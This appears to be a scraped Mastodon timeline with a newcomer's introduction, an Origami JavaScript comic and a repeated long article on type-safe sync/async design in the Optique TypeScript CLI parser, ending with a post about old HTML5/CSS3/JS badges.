I am new to game development, I am interested in web games more specifically, I program in JavaScript, I can do Python as well, but I main JavaScript.

I like anything art related, I draw digitally and I occasionally compose music.

I am autistic and I struggle with really bad social anxiety, so please cut me some slacks. I may use tone indicators from time to time.

Hope to meet you all.

I have a few artworks I want to showcase, but I'll post those later, I need to eat right now.

My main persona Novem. He is a cyborg, he has a prosthetic on his right arm.
ALT text

My main persona Novem. He is a cyborg, he has a prosthetic on his right arm.

@titus_rabenauge@mastodon.art
@titus_rabenauge@mastodon.art
@JanMiksovsky@fosstodon.org

This week's comic: Inline paths

More about Origami JavaScript expressions: weborigami.org/language/expres
HTML comic: weborigami.org/comics/inline-p

Origami is a dialect of JavaScript expressions with inline paths instead of import statements.
ALT text

Origami is a dialect of JavaScript expressions with inline paths instead of import statements.

You can call a JavaScript function by path in a site definition.
ALT text

You can call a JavaScript function by path in a site definition.

Paths can also reference data in local or network files.
ALT text

Paths can also reference data in local or network files.

Paths can let Origami be much more concise than the equivalent standard JavaScript!
ALT text

Paths can let Origami be much more concise than the equivalent standard JavaScript!

@JanMiksovsky@fosstodon.org

This week's comic: Inline paths

More about Origami JavaScript expressions: weborigami.org/language/expres
HTML comic: weborigami.org/comics/inline-p

Origami is a dialect of JavaScript expressions with inline paths instead of import statements.
ALT text

Origami is a dialect of JavaScript expressions with inline paths instead of import statements.

You can call a JavaScript function by path in a site definition.
ALT text

You can call a JavaScript function by path in a site definition.

Paths can also reference data in local or network files.
ALT text

Paths can also reference data in local or network files.

Paths can let Origami be much more concise than the equivalent standard JavaScript!
ALT text

Paths can let Origami be much more concise than the equivalent standard JavaScript!

@lobsters@mastodon.social

hackers.pub

Designing type-safe sync/async mode support in TypeScript

I recently added sync/async mode support to Optique, a type-safe CLI parserfor TypeScript. It turned out to be one of the trickier features I'veimplemented—the object() combinator alone needed to compute a combined modefrom all its child parsers, and TypeScript's inference kept hitting edge cases. What is Optique? Optique is a type-safe, combinatorial CLI parser for TypeScript, inspired byHaskell's optparse-applicative. Instead of decorators or builder patterns,you compose small parsers into larger ones using combinators, and TypeScriptinfers the result types. Here's a quick taste: import { object } from "@optique/core/constructs";import { argument, option } from "@optique/core/primitives";import { string, integer } from "@optique/core/valueparser";import { run } from "@optique/run";const cli = object({ name: argument(string()), count: option("-n", "--count", integer()),});// TypeScript infers: { name: string; count: number | undefined }const result = run(cli); // sync by default The type inference works through arbitrarily deep compositions—in most cases,you don't need explicit type annotations. How it started Lucas Garron (@lgarron) opened an issue requestingasync support for shell completions. He wanted to provideTab-completion suggestions by running shell commands likegit for-each-ref to list branches and tags. // Lucas's example: fetching Git branches and tags in parallelconst [branches, tags] = await Promise.all([ $`git for-each-ref --format='%(refname:short)' refs/heads/`.text(), $`git for-each-ref --format='%(refname:short)' refs/tags/`.text(),]); At first, I didn't like the idea. Optique's entire API was synchronous, whichmade it simpler to reason about and avoided the “async infection” problem whereone async function forces everything upstream to become async. I argued thatshell completion should be near-instantaneous, and if you need async data, youshould cache it at startup. But Lucas pushed back. The filesystem is a database, and many usefulcompletions inherently require async work—Git refs change constantly, andpre-caching everything at startup doesn't scale for large repos. Fair point. What I needed to solve So, how do you support both sync and async execution modes in a composableparser library while maintaining type safety? The key requirements were: parse() returns T or Promise<T> complete() returns T or Promise<T> suggest() returns Iterable<T> or AsyncIterable<T> When combining parsers, if any parser is async, the combined resultmust be async Existing sync code should continue to work unchanged The fourth requirement is the tricky one. Consider this: const syncParser = flag("--verbose");const asyncParser = option("--branch", asyncValueParser);// What's the type of this?const combined = object({ verbose: syncParser, branch: asyncParser }); The combined parser should be async because one of its fields is async.This means we need type-level logic to compute the combined mode. Five design options I explored five different approaches, each with its own trade-offs. Option A: conditional types with mode parameter Add a mode type parameter to Parser and use conditional types: type Mode = "sync" | "async";type ModeValue<M extends Mode, T> = M extends "async" ? Promise<T> : T;interface Parser<M extends Mode, TValue, TState> { parse(context: ParserContext<TState>): ModeValue<M, ParserResult<TState>>; // ...} The challenge is computing combined modes: type CombineModes<T extends Record<string, Parser<any, any, any>>> = T[keyof T] extends Parser<infer M, any, any> ? M extends "async" ? "async" : "sync" : never; Option B: mode parameter with default value A variant of Option A, but place the mode parameter first with a defaultof "sync": interface Parser<M extends Mode = "sync", TValue, TState> { readonly $mode: M; // ...} The default value maintains backward compatibility—existing user code keepsworking without changes. Option C: separate interfaces Define completely separate Parser and AsyncParser interfaces withexplicit conversion: interface Parser<TValue, TState> { /* sync methods */ }interface AsyncParser<TValue, TState> { /* async methods */ }function toAsync<T, S>(parser: Parser<T, S>): AsyncParser<T, S>; Simpler to understand, but requires code duplication and explicit conversions. Option D: union return types for suggest() only The minimal approach. Only allow suggest() to be async: interface Parser<TValue, TState> { parse(context: ParserContext<TState>): ParserResult<TState>; // always sync suggest(context: ParserContext<TState>, prefix: string): Iterable<Suggestion> | AsyncIterable<Suggestion>; // can be either} This addresses the original use case but doesn't help if async parse() isever needed. Option E: fp-ts style HKT simulation Use the technique from fp-ts to simulate Higher-Kinded Types: interface URItoKind<A> { Identity: A; Promise: Promise<A>;}type Kind<F extends keyof URItoKind<any>, A> = URItoKind<A>[F];interface Parser<F extends keyof URItoKind<any>, TValue, TState> { parse(context: ParserContext<TState>): Kind<F, ParserResult<TState>>;} The most flexible approach, but with a steep learning curve. Testing the idea Rather than commit to an approach based on theoretical analysis, I createda prototype to test how well TypeScript handles the type inference in practice.I published my findings in the GitHub issue: Both approaches correctly handle the “any async → all async” rule at thetype level. (…) Complex conditional types likeModeValue<CombineParserModes<T>, ParserResult<TState>> sometimes requireexplicit type casting in the implementation. This only affects libraryinternals. The user-facing API remains clean. The prototype validated that Option B (explicit mode parameter with default)would work. I chose it for these reasons: Backward compatible: The default "sync" keeps existing code working Explicit: The mode is visible in both types and runtime (via a $modeproperty) Debuggable: Easy to inspect the current mode at runtime Better IDE support: Type information is more predictable How CombineModes works The CombineModes type computes whether a combined parser should be sync orasync: type CombineModes<T extends readonly Mode[]> = "async" extends T[number] ? "async" : "sync"; This type checks if "async" is present anywhere in the tuple of modes.If so, the result is "async"; otherwise, it's "sync". For combinators like object(), I needed to extract modes from parserobjects and combine them: // Extract the mode from a single parsertype ParserMode<T> = T extends Parser<infer M, unknown, unknown> ? M : never;// Combine modes from all values in a record of parserstype CombineObjectModes<T extends Record<string, Parser<Mode, unknown, unknown>>> = CombineModes<{ [K in keyof T]: ParserMode<T[K]> }[keyof T][]>; Runtime implementation The type system handles compile-time safety, but the implementation also needsruntime logic. Each parser has a $mode property that indicates its executionmode: const syncParser = option("-n", "--name", string());console.log(syncParser.$mode); // "sync"const asyncParser = option("-b", "--branch", asyncValueParser);console.log(asyncParser.$mode); // "async" Combinators compute their mode at construction time: function object<T extends Record<string, Parser<Mode, unknown, unknown>>>( parsers: T): Parser<CombineObjectModes<T>, ObjectValue<T>, ObjectState<T>> { const parserKeys = Reflect.ownKeys(parsers); const combinedMode: Mode = parserKeys.some( (k) => parsers[k as keyof T].$mode === "async" ) ? "async" : "sync"; // ... implementation} Refining the API Lucas suggested an important refinement during ourdiscussion. Instead of having run() automatically choose between sync andasync based on the parser mode, he proposed separate functions: Perhaps run(…) could be automatic, and runSync(…) and runAsync(…) couldenforce that the inferred type matches what is expected. So we ended up with: run(): automatic based on parser mode runSync(): enforces sync mode at compile time runAsync(): enforces async mode at compile time // Automatic: returns T for sync parsers, Promise<T> for asyncconst result1 = run(syncParser); // stringconst result2 = run(asyncParser); // Promise<string>// Explicit: compile-time enforcementconst result3 = runSync(syncParser); // stringconst result4 = runAsync(asyncParser); // Promise<string>// Compile error: can't use runSync with async parserconst result5 = runSync(asyncParser); // Type error! I applied the same pattern to parse()/parseSync()/parseAsync() andsuggest()/suggestSync()/suggestAsync() in the facade functions. Creating async value parsers With the new API, creating an async value parser for Git branches lookslike this: import type { Suggestion } from "@optique/core/parser";import type { ValueParser, ValueParserResult } from "@optique/core/valueparser";function gitRef(): ValueParser<"async", string> { return { $mode: "async", metavar: "REF", parse(input: string): Promise<ValueParserResult<string>> { return Promise.resolve({ success: true, value: input }); }, format(value: string): string { return value; }, async *suggest(prefix: string): AsyncIterable<Suggestion> { const { $ } = await import("bun"); const [branches, tags] = await Promise.all([ $`git for-each-ref --format='%(refname:short)' refs/heads/`.text(), $`git for-each-ref --format='%(refname:short)' refs/tags/`.text(), ]); for (const ref of [...branches.split("\n"), ...tags.split("\n")]) { const trimmed = ref.trim(); if (trimmed && trimmed.startsWith(prefix)) { yield { kind: "literal", text: trimmed }; } } }, };} Notice that parse() returns Promise.resolve() even though it's synchronous.This is because the ValueParser<"async", T> type requires all methods to useasync signatures. Lucas pointed out this is a minor ergonomic issue. If onlysuggest() needs to be async, you still have to wrap parse() in a Promise. I considered per-method mode granularity (e.g., ValueParser<ParseMode, SuggestMode, T>), but the implementation complexity would multiplysubstantially. For now, the workaround is simple enough: // Option 1: Use Promise.resolve()parse(input) { return Promise.resolve({ success: true, value: input });}// Option 2: Mark as async and suppress the linter// biome-ignore lint/suspicious/useAwait: sync implementation in async ValueParserasync parse(input) { return { success: true, value: input };} What it cost Supporting dual modes added significant complexity to Optique's internals.Every combinator needed updates: Type signatures grew more complex with mode parameters Mode propagation logic had to be added to every combinator Dual implementations were needed for sync and async code paths Type casts were sometimes necessary in the implementation to satisfyTypeScript For example, the object() combinator went from around 100 lines to around250 lines. The internal implementation uses conditional logic based on thecombined mode: if (combinedMode === "async") { return { $mode: "async" as M, // ... async implementation with Promise chains async parse(context) { // ... await each field's parse result }, };} else { return { $mode: "sync" as M, // ... sync implementation parse(context) { // ... directly call each field's parse }, };} This duplication is the cost of supporting both modes without runtime overheadfor sync-only use cases. Lessons learned Listen to users, but validate with prototypes My initial instinct was to resist async support. Lucas's persistence andconcrete examples changed my mind, but I validated the approach with aprototype before committing. The prototype revealed practical issues (likeTypeScript inference limits) that pure design analysis would have missed. Backward compatibility is worth the complexity Making "sync" the default mode meant existing code continued to workunchanged. This was a deliberate choice. Breaking changes should requireuser action, not break silently. Unified mode vs per-method granularity I chose unified mode (all methods share the same sync/async mode) overper-method granularity. This means users occasionally writePromise.resolve() for methods that don't actually need async, but thealternative was multiplicative complexity in the type system. Designing in public The entire design process happened in a public GitHub issue. Lucas, Giuseppe,and others contributed ideas that shaped the final API. TherunSync()/runAsync() distinction came directly from Lucas's feedback. Conclusion This was one of the more challenging features I've implemented in Optique.TypeScript's type system is powerful enough to encode the “any async means allasync” rule at compile time, but getting there required careful design work andprototyping. What made it work: conditional types like ModeValue<M, T> can bridge the gapbetween sync and async worlds. You pay for it with implementation complexity,but the user-facing API stays clean and type-safe. Optique 0.9.0 with async support is currently in pre-release testing. Ifyou'd like to try it, check out PR #70 or install the pre-release: npm add @optique/core@0.9.0-dev.212 @optique/run@0.9.0-dev.212deno add --jsr @optique/core@0.9.0-dev.212 @optique/run@0.9.0-dev.212 Feedback is welcome!

@lobsters@mastodon.social

hackers.pub

Designing type-safe sync/async mode support in TypeScript

I recently added sync/async mode support to Optique, a type-safe CLI parserfor TypeScript. It turned out to be one of the trickier features I'veimplemented—the object() combinator alone needed to compute a combined modefrom all its child parsers, and TypeScript's inference kept hitting edge cases. What is Optique? Optique is a type-safe, combinatorial CLI parser for TypeScript, inspired byHaskell's optparse-applicative. Instead of decorators or builder patterns,you compose small parsers into larger ones using combinators, and TypeScriptinfers the result types. Here's a quick taste: import { object } from "@optique/core/constructs";import { argument, option } from "@optique/core/primitives";import { string, integer } from "@optique/core/valueparser";import { run } from "@optique/run";const cli = object({ name: argument(string()), count: option("-n", "--count", integer()),});// TypeScript infers: { name: string; count: number | undefined }const result = run(cli); // sync by default The type inference works through arbitrarily deep compositions—in most cases,you don't need explicit type annotations. How it started Lucas Garron (@lgarron) opened an issue requestingasync support for shell completions. He wanted to provideTab-completion suggestions by running shell commands likegit for-each-ref to list branches and tags. // Lucas's example: fetching Git branches and tags in parallelconst [branches, tags] = await Promise.all([ $`git for-each-ref --format='%(refname:short)' refs/heads/`.text(), $`git for-each-ref --format='%(refname:short)' refs/tags/`.text(),]); At first, I didn't like the idea. Optique's entire API was synchronous, whichmade it simpler to reason about and avoided the “async infection” problem whereone async function forces everything upstream to become async. I argued thatshell completion should be near-instantaneous, and if you need async data, youshould cache it at startup. But Lucas pushed back. The filesystem is a database, and many usefulcompletions inherently require async work—Git refs change constantly, andpre-caching everything at startup doesn't scale for large repos. Fair point. What I needed to solve So, how do you support both sync and async execution modes in a composableparser library while maintaining type safety? The key requirements were: parse() returns T or Promise<T> complete() returns T or Promise<T> suggest() returns Iterable<T> or AsyncIterable<T> When combining parsers, if any parser is async, the combined resultmust be async Existing sync code should continue to work unchanged The fourth requirement is the tricky one. Consider this: const syncParser = flag("--verbose");const asyncParser = option("--branch", asyncValueParser);// What's the type of this?const combined = object({ verbose: syncParser, branch: asyncParser }); The combined parser should be async because one of its fields is async.This means we need type-level logic to compute the combined mode. Five design options I explored five different approaches, each with its own trade-offs. Option A: conditional types with mode parameter Add a mode type parameter to Parser and use conditional types: type Mode = "sync" | "async";type ModeValue<M extends Mode, T> = M extends "async" ? Promise<T> : T;interface Parser<M extends Mode, TValue, TState> { parse(context: ParserContext<TState>): ModeValue<M, ParserResult<TState>>; // ...} The challenge is computing combined modes: type CombineModes<T extends Record<string, Parser<any, any, any>>> = T[keyof T] extends Parser<infer M, any, any> ? M extends "async" ? "async" : "sync" : never; Option B: mode parameter with default value A variant of Option A, but place the mode parameter first with a defaultof "sync": interface Parser<M extends Mode = "sync", TValue, TState> { readonly $mode: M; // ...} The default value maintains backward compatibility—existing user code keepsworking without changes. Option C: separate interfaces Define completely separate Parser and AsyncParser interfaces withexplicit conversion: interface Parser<TValue, TState> { /* sync methods */ }interface AsyncParser<TValue, TState> { /* async methods */ }function toAsync<T, S>(parser: Parser<T, S>): AsyncParser<T, S>; Simpler to understand, but requires code duplication and explicit conversions. Option D: union return types for suggest() only The minimal approach. Only allow suggest() to be async: interface Parser<TValue, TState> { parse(context: ParserContext<TState>): ParserResult<TState>; // always sync suggest(context: ParserContext<TState>, prefix: string): Iterable<Suggestion> | AsyncIterable<Suggestion>; // can be either} This addresses the original use case but doesn't help if async parse() isever needed. Option E: fp-ts style HKT simulation Use the technique from fp-ts to simulate Higher-Kinded Types: interface URItoKind<A> { Identity: A; Promise: Promise<A>;}type Kind<F extends keyof URItoKind<any>, A> = URItoKind<A>[F];interface Parser<F extends keyof URItoKind<any>, TValue, TState> { parse(context: ParserContext<TState>): Kind<F, ParserResult<TState>>;} The most flexible approach, but with a steep learning curve. Testing the idea Rather than commit to an approach based on theoretical analysis, I createda prototype to test how well TypeScript handles the type inference in practice.I published my findings in the GitHub issue: Both approaches correctly handle the “any async → all async” rule at thetype level. (…) Complex conditional types likeModeValue<CombineParserModes<T>, ParserResult<TState>> sometimes requireexplicit type casting in the implementation. This only affects libraryinternals. The user-facing API remains clean. The prototype validated that Option B (explicit mode parameter with default)would work. I chose it for these reasons: Backward compatible: The default "sync" keeps existing code working Explicit: The mode is visible in both types and runtime (via a $modeproperty) Debuggable: Easy to inspect the current mode at runtime Better IDE support: Type information is more predictable How CombineModes works The CombineModes type computes whether a combined parser should be sync orasync: type CombineModes<T extends readonly Mode[]> = "async" extends T[number] ? "async" : "sync"; This type checks if "async" is present anywhere in the tuple of modes.If so, the result is "async"; otherwise, it's "sync". For combinators like object(), I needed to extract modes from parserobjects and combine them: // Extract the mode from a single parsertype ParserMode<T> = T extends Parser<infer M, unknown, unknown> ? M : never;// Combine modes from all values in a record of parserstype CombineObjectModes<T extends Record<string, Parser<Mode, unknown, unknown>>> = CombineModes<{ [K in keyof T]: ParserMode<T[K]> }[keyof T][]>; Runtime implementation The type system handles compile-time safety, but the implementation also needsruntime logic. Each parser has a $mode property that indicates its executionmode: const syncParser = option("-n", "--name", string());console.log(syncParser.$mode); // "sync"const asyncParser = option("-b", "--branch", asyncValueParser);console.log(asyncParser.$mode); // "async" Combinators compute their mode at construction time: function object<T extends Record<string, Parser<Mode, unknown, unknown>>>( parsers: T): Parser<CombineObjectModes<T>, ObjectValue<T>, ObjectState<T>> { const parserKeys = Reflect.ownKeys(parsers); const combinedMode: Mode = parserKeys.some( (k) => parsers[k as keyof T].$mode === "async" ) ? "async" : "sync"; // ... implementation} Refining the API Lucas suggested an important refinement during ourdiscussion. Instead of having run() automatically choose between sync andasync based on the parser mode, he proposed separate functions: Perhaps run(…) could be automatic, and runSync(…) and runAsync(…) couldenforce that the inferred type matches what is expected. So we ended up with: run(): automatic based on parser mode runSync(): enforces sync mode at compile time runAsync(): enforces async mode at compile time // Automatic: returns T for sync parsers, Promise<T> for asyncconst result1 = run(syncParser); // stringconst result2 = run(asyncParser); // Promise<string>// Explicit: compile-time enforcementconst result3 = runSync(syncParser); // stringconst result4 = runAsync(asyncParser); // Promise<string>// Compile error: can't use runSync with async parserconst result5 = runSync(asyncParser); // Type error! I applied the same pattern to parse()/parseSync()/parseAsync() andsuggest()/suggestSync()/suggestAsync() in the facade functions. Creating async value parsers With the new API, creating an async value parser for Git branches lookslike this: import type { Suggestion } from "@optique/core/parser";import type { ValueParser, ValueParserResult } from "@optique/core/valueparser";function gitRef(): ValueParser<"async", string> { return { $mode: "async", metavar: "REF", parse(input: string): Promise<ValueParserResult<string>> { return Promise.resolve({ success: true, value: input }); }, format(value: string): string { return value; }, async *suggest(prefix: string): AsyncIterable<Suggestion> { const { $ } = await import("bun"); const [branches, tags] = await Promise.all([ $`git for-each-ref --format='%(refname:short)' refs/heads/`.text(), $`git for-each-ref --format='%(refname:short)' refs/tags/`.text(), ]); for (const ref of [...branches.split("\n"), ...tags.split("\n")]) { const trimmed = ref.trim(); if (trimmed && trimmed.startsWith(prefix)) { yield { kind: "literal", text: trimmed }; } } }, };} Notice that parse() returns Promise.resolve() even though it's synchronous.This is because the ValueParser<"async", T> type requires all methods to useasync signatures. Lucas pointed out this is a minor ergonomic issue. If onlysuggest() needs to be async, you still have to wrap parse() in a Promise. I considered per-method mode granularity (e.g., ValueParser<ParseMode, SuggestMode, T>), but the implementation complexity would multiplysubstantially. For now, the workaround is simple enough: // Option 1: Use Promise.resolve()parse(input) { return Promise.resolve({ success: true, value: input });}// Option 2: Mark as async and suppress the linter// biome-ignore lint/suspicious/useAwait: sync implementation in async ValueParserasync parse(input) { return { success: true, value: input };} What it cost Supporting dual modes added significant complexity to Optique's internals.Every combinator needed updates: Type signatures grew more complex with mode parameters Mode propagation logic had to be added to every combinator Dual implementations were needed for sync and async code paths Type casts were sometimes necessary in the implementation to satisfyTypeScript For example, the object() combinator went from around 100 lines to around250 lines. The internal implementation uses conditional logic based on thecombined mode: if (combinedMode === "async") { return { $mode: "async" as M, // ... async implementation with Promise chains async parse(context) { // ... await each field's parse result }, };} else { return { $mode: "sync" as M, // ... sync implementation parse(context) { // ... directly call each field's parse }, };} This duplication is the cost of supporting both modes without runtime overheadfor sync-only use cases. Lessons learned Listen to users, but validate with prototypes My initial instinct was to resist async support. Lucas's persistence andconcrete examples changed my mind, but I validated the approach with aprototype before committing. The prototype revealed practical issues (likeTypeScript inference limits) that pure design analysis would have missed. Backward compatibility is worth the complexity Making "sync" the default mode meant existing code continued to workunchanged. This was a deliberate choice. Breaking changes should requireuser action, not break silently. Unified mode vs per-method granularity I chose unified mode (all methods share the same sync/async mode) overper-method granularity. This means users occasionally writePromise.resolve() for methods that don't actually need async, but thealternative was multiplicative complexity in the type system. Designing in public The entire design process happened in a public GitHub issue. Lucas, Giuseppe,and others contributed ideas that shaped the final API. TherunSync()/runAsync() distinction came directly from Lucas's feedback. Conclusion This was one of the more challenging features I've implemented in Optique.TypeScript's type system is powerful enough to encode the “any async means allasync” rule at compile time, but getting there required careful design work andprototyping. What made it work: conditional types like ModeValue<M, T> can bridge the gapbetween sync and async worlds. You pay for it with implementation complexity,but the user-facing API stays clean and type-safe. Optique 0.9.0 with async support is currently in pre-release testing. Ifyou'd like to try it, check out PR #70 or install the pre-release: npm add @optique/core@0.9.0-dev.212 @optique/run@0.9.0-dev.212deno add --jsr @optique/core@0.9.0-dev.212 @optique/run@0.9.0-dev.212 Feedback is welcome!

@lobsters@mastodon.social

hackers.pub

Designing type-safe sync/async mode support in TypeScript

I recently added sync/async mode support to Optique, a type-safe CLI parserfor TypeScript. It turned out to be one of the trickier features I'veimplemented—the object() combinator alone needed to compute a combined modefrom all its child parsers, and TypeScript's inference kept hitting edge cases. What is Optique? Optique is a type-safe, combinatorial CLI parser for TypeScript, inspired byHaskell's optparse-applicative. Instead of decorators or builder patterns,you compose small parsers into larger ones using combinators, and TypeScriptinfers the result types. Here's a quick taste: import { object } from "@optique/core/constructs";import { argument, option } from "@optique/core/primitives";import { string, integer } from "@optique/core/valueparser";import { run } from "@optique/run";const cli = object({ name: argument(string()), count: option("-n", "--count", integer()),});// TypeScript infers: { name: string; count: number | undefined }const result = run(cli); // sync by default The type inference works through arbitrarily deep compositions—in most cases,you don't need explicit type annotations. How it started Lucas Garron (@lgarron) opened an issue requestingasync support for shell completions. He wanted to provideTab-completion suggestions by running shell commands likegit for-each-ref to list branches and tags. // Lucas's example: fetching Git branches and tags in parallelconst [branches, tags] = await Promise.all([ $`git for-each-ref --format='%(refname:short)' refs/heads/`.text(), $`git for-each-ref --format='%(refname:short)' refs/tags/`.text(),]); At first, I didn't like the idea. Optique's entire API was synchronous, whichmade it simpler to reason about and avoided the “async infection” problem whereone async function forces everything upstream to become async. I argued thatshell completion should be near-instantaneous, and if you need async data, youshould cache it at startup. But Lucas pushed back. The filesystem is a database, and many usefulcompletions inherently require async work—Git refs change constantly, andpre-caching everything at startup doesn't scale for large repos. Fair point. What I needed to solve So, how do you support both sync and async execution modes in a composableparser library while maintaining type safety? The key requirements were: parse() returns T or Promise<T> complete() returns T or Promise<T> suggest() returns Iterable<T> or AsyncIterable<T> When combining parsers, if any parser is async, the combined resultmust be async Existing sync code should continue to work unchanged The fourth requirement is the tricky one. Consider this: const syncParser = flag("--verbose");const asyncParser = option("--branch", asyncValueParser);// What's the type of this?const combined = object({ verbose: syncParser, branch: asyncParser }); The combined parser should be async because one of its fields is async.This means we need type-level logic to compute the combined mode. Five design options I explored five different approaches, each with its own trade-offs. Option A: conditional types with mode parameter Add a mode type parameter to Parser and use conditional types: type Mode = "sync" | "async";type ModeValue<M extends Mode, T> = M extends "async" ? Promise<T> : T;interface Parser<M extends Mode, TValue, TState> { parse(context: ParserContext<TState>): ModeValue<M, ParserResult<TState>>; // ...} The challenge is computing combined modes: type CombineModes<T extends Record<string, Parser<any, any, any>>> = T[keyof T] extends Parser<infer M, any, any> ? M extends "async" ? "async" : "sync" : never; Option B: mode parameter with default value A variant of Option A, but place the mode parameter first with a defaultof "sync": interface Parser<M extends Mode = "sync", TValue, TState> { readonly $mode: M; // ...} The default value maintains backward compatibility—existing user code keepsworking without changes. Option C: separate interfaces Define completely separate Parser and AsyncParser interfaces withexplicit conversion: interface Parser<TValue, TState> { /* sync methods */ }interface AsyncParser<TValue, TState> { /* async methods */ }function toAsync<T, S>(parser: Parser<T, S>): AsyncParser<T, S>; Simpler to understand, but requires code duplication and explicit conversions. Option D: union return types for suggest() only The minimal approach. Only allow suggest() to be async: interface Parser<TValue, TState> { parse(context: ParserContext<TState>): ParserResult<TState>; // always sync suggest(context: ParserContext<TState>, prefix: string): Iterable<Suggestion> | AsyncIterable<Suggestion>; // can be either} This addresses the original use case but doesn't help if async parse() isever needed. Option E: fp-ts style HKT simulation Use the technique from fp-ts to simulate Higher-Kinded Types: interface URItoKind<A> { Identity: A; Promise: Promise<A>;}type Kind<F extends keyof URItoKind<any>, A> = URItoKind<A>[F];interface Parser<F extends keyof URItoKind<any>, TValue, TState> { parse(context: ParserContext<TState>): Kind<F, ParserResult<TState>>;} The most flexible approach, but with a steep learning curve. Testing the idea Rather than commit to an approach based on theoretical analysis, I createda prototype to test how well TypeScript handles the type inference in practice.I published my findings in the GitHub issue: Both approaches correctly handle the “any async → all async” rule at thetype level. (…) Complex conditional types likeModeValue<CombineParserModes<T>, ParserResult<TState>> sometimes requireexplicit type casting in the implementation. This only affects libraryinternals. The user-facing API remains clean. The prototype validated that Option B (explicit mode parameter with default)would work. I chose it for these reasons: Backward compatible: The default "sync" keeps existing code working Explicit: The mode is visible in both types and runtime (via a $modeproperty) Debuggable: Easy to inspect the current mode at runtime Better IDE support: Type information is more predictable How CombineModes works The CombineModes type computes whether a combined parser should be sync orasync: type CombineModes<T extends readonly Mode[]> = "async" extends T[number] ? "async" : "sync"; This type checks if "async" is present anywhere in the tuple of modes.If so, the result is "async"; otherwise, it's "sync". For combinators like object(), I needed to extract modes from parserobjects and combine them: // Extract the mode from a single parsertype ParserMode<T> = T extends Parser<infer M, unknown, unknown> ? M : never;// Combine modes from all values in a record of parserstype CombineObjectModes<T extends Record<string, Parser<Mode, unknown, unknown>>> = CombineModes<{ [K in keyof T]: ParserMode<T[K]> }[keyof T][]>; Runtime implementation The type system handles compile-time safety, but the implementation also needsruntime logic. Each parser has a $mode property that indicates its executionmode: const syncParser = option("-n", "--name", string());console.log(syncParser.$mode); // "sync"const asyncParser = option("-b", "--branch", asyncValueParser);console.log(asyncParser.$mode); // "async" Combinators compute their mode at construction time: function object<T extends Record<string, Parser<Mode, unknown, unknown>>>( parsers: T): Parser<CombineObjectModes<T>, ObjectValue<T>, ObjectState<T>> { const parserKeys = Reflect.ownKeys(parsers); const combinedMode: Mode = parserKeys.some( (k) => parsers[k as keyof T].$mode === "async" ) ? "async" : "sync"; // ... implementation} Refining the API Lucas suggested an important refinement during ourdiscussion. Instead of having run() automatically choose between sync andasync based on the parser mode, he proposed separate functions: Perhaps run(…) could be automatic, and runSync(…) and runAsync(…) couldenforce that the inferred type matches what is expected. So we ended up with: run(): automatic based on parser mode runSync(): enforces sync mode at compile time runAsync(): enforces async mode at compile time // Automatic: returns T for sync parsers, Promise<T> for asyncconst result1 = run(syncParser); // stringconst result2 = run(asyncParser); // Promise<string>// Explicit: compile-time enforcementconst result3 = runSync(syncParser); // stringconst result4 = runAsync(asyncParser); // Promise<string>// Compile error: can't use runSync with async parserconst result5 = runSync(asyncParser); // Type error! I applied the same pattern to parse()/parseSync()/parseAsync() andsuggest()/suggestSync()/suggestAsync() in the facade functions. Creating async value parsers With the new API, creating an async value parser for Git branches lookslike this: import type { Suggestion } from "@optique/core/parser";import type { ValueParser, ValueParserResult } from "@optique/core/valueparser";function gitRef(): ValueParser<"async", string> { return { $mode: "async", metavar: "REF", parse(input: string): Promise<ValueParserResult<string>> { return Promise.resolve({ success: true, value: input }); }, format(value: string): string { return value; }, async *suggest(prefix: string): AsyncIterable<Suggestion> { const { $ } = await import("bun"); const [branches, tags] = await Promise.all([ $`git for-each-ref --format='%(refname:short)' refs/heads/`.text(), $`git for-each-ref --format='%(refname:short)' refs/tags/`.text(), ]); for (const ref of [...branches.split("\n"), ...tags.split("\n")]) { const trimmed = ref.trim(); if (trimmed && trimmed.startsWith(prefix)) { yield { kind: "literal", text: trimmed }; } } }, };} Notice that parse() returns Promise.resolve() even though it's synchronous.This is because the ValueParser<"async", T> type requires all methods to useasync signatures. Lucas pointed out this is a minor ergonomic issue. If onlysuggest() needs to be async, you still have to wrap parse() in a Promise. I considered per-method mode granularity (e.g., ValueParser<ParseMode, SuggestMode, T>), but the implementation complexity would multiplysubstantially. For now, the workaround is simple enough: // Option 1: Use Promise.resolve()parse(input) { return Promise.resolve({ success: true, value: input });}// Option 2: Mark as async and suppress the linter// biome-ignore lint/suspicious/useAwait: sync implementation in async ValueParserasync parse(input) { return { success: true, value: input };} What it cost Supporting dual modes added significant complexity to Optique's internals.Every combinator needed updates: Type signatures grew more complex with mode parameters Mode propagation logic had to be added to every combinator Dual implementations were needed for sync and async code paths Type casts were sometimes necessary in the implementation to satisfyTypeScript For example, the object() combinator went from around 100 lines to around250 lines. The internal implementation uses conditional logic based on thecombined mode: if (combinedMode === "async") { return { $mode: "async" as M, // ... async implementation with Promise chains async parse(context) { // ... await each field's parse result }, };} else { return { $mode: "sync" as M, // ... sync implementation parse(context) { // ... directly call each field's parse }, };} This duplication is the cost of supporting both modes without runtime overheadfor sync-only use cases. Lessons learned Listen to users, but validate with prototypes My initial instinct was to resist async support. Lucas's persistence andconcrete examples changed my mind, but I validated the approach with aprototype before committing. The prototype revealed practical issues (likeTypeScript inference limits) that pure design analysis would have missed. Backward compatibility is worth the complexity Making "sync" the default mode meant existing code continued to workunchanged. This was a deliberate choice. Breaking changes should requireuser action, not break silently. Unified mode vs per-method granularity I chose unified mode (all methods share the same sync/async mode) overper-method granularity. This means users occasionally writePromise.resolve() for methods that don't actually need async, but thealternative was multiplicative complexity in the type system. Designing in public The entire design process happened in a public GitHub issue. Lucas, Giuseppe,and others contributed ideas that shaped the final API. TherunSync()/runAsync() distinction came directly from Lucas's feedback. Conclusion This was one of the more challenging features I've implemented in Optique.TypeScript's type system is powerful enough to encode the “any async means allasync” rule at compile time, but getting there required careful design work andprototyping. What made it work: conditional types like ModeValue<M, T> can bridge the gapbetween sync and async worlds. You pay for it with implementation complexity,but the user-facing API stays clean and type-safe. Optique 0.9.0 with async support is currently in pre-release testing. Ifyou'd like to try it, check out PR #70 or install the pre-release: npm add @optique/core@0.9.0-dev.212 @optique/run@0.9.0-dev.212deno add --jsr @optique/core@0.9.0-dev.212 @optique/run@0.9.0-dev.212 Feedback is welcome!

@meluzzy@woof.tech

Remember the old , and badges?
These came out around around 15 years ago....
I'm getting old

The html5 era badges for web technologies:
One is orange and has a 5 in the middle, reads "HTML".
Another is blue, has a 3 in the middle, reads CSS.
The last one is yellow has the letters JS in the middle, it reads "JS".
ALT text

